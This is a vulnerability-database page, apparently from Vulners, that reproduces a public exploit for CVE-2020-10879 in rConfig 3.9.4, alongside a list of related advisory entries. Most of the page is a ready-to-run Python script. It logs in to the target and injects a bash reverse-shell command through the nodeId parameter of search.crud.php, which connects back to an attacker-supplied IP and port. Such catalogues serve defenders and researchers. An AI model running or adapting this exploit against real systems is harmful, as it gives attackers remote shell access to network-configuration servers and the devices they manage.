Lucene search
+L

rConfig 3.9.4 - search.crud.php Remote Command Injection

🗓️ 23 Mar 2020 00:00:00Reported by Matthew AbereggType 
exploitpack
 exploitpack
👁 172 Views

rConfig 3.9.4 - 'search.crud.php' Remote Command Injection, Exploit by Matthew Aberegg, Michael Burke

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
rConfig Network Command Injection
24 Nov 202000:00
–bdu_fstec
cnvd
CNVD
rConfig Command Injection Vulnerability
24 Mar 202000:00
–cnvd
cve
CVE
CVE-2020-10879
23 Mar 202021:44
–cve
cvelist
Cvelist
CVE-2020-10879
23 Mar 202021:44
–cvelist
exploitdb
Exploit DB
rConfig 3.9.4 - 'search.crud.php' Remote Command Injection
23 Mar 202000:00
–exploitdb
mend
Mend
CVE-2020-10879
23 Mar 202021:44
–mend
nvd
NVD
CVE-2020-10879
23 Mar 202022:15
–nvd
openvas
OpenVAS
rConfig < 3.9.5 RCE Vulnerability
26 Mar 202000:00
–openvas
osv_cve
osv_cve
CVE-2020-10879
23 Mar 202022:15
–osv_cve
prion
Prion
Command injection
23 Mar 202022:15
–prion
Rows per page
# Exploit Title: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection
# Date: 2020-03-21
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.4.zip
# Version: rConfig 3.9.4
# Tested on: Cent OS 7 (1908)
# CVE: CVE-2020-10879

#!/usr/bin/python3

import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
    print("[~] Usage : https://rconfig_host, Username, Password, Attacker IP, Attacker Port")
    exit()

host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
attacker_ip = sys.argv[4]
attacker_port = sys.argv[5]

login_url = host + "/lib/crud/userprocess.php"
payload = "|| bash -i >& /dev/tcp/{0}/{1} 0>&1 ;".format(attacker_ip, attacker_port)
encoded_payload = urllib.parse.quote_plus(payload)


def exploit():
    s = requests.Session()

    res = s.post(
        login_url,
        data={
            'user': username,
            'pass': password,
            'sublogin': 1
        },
        verify=False,
        allow_redirects=True
    )

    injection_url = "{0}/lib/crud/search.crud.php?searchTerm=test&catId=2&numLineStr=&nodeId={1}&catCommand=showcdpneigh*.txt&noLines=".format(host, encoded_payload)
    res = s.get(injection_url, verify=False)

    if res.status_code != 200:
        print("[~] Failed to connect")


if __name__ == '__main__':
    exploit()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation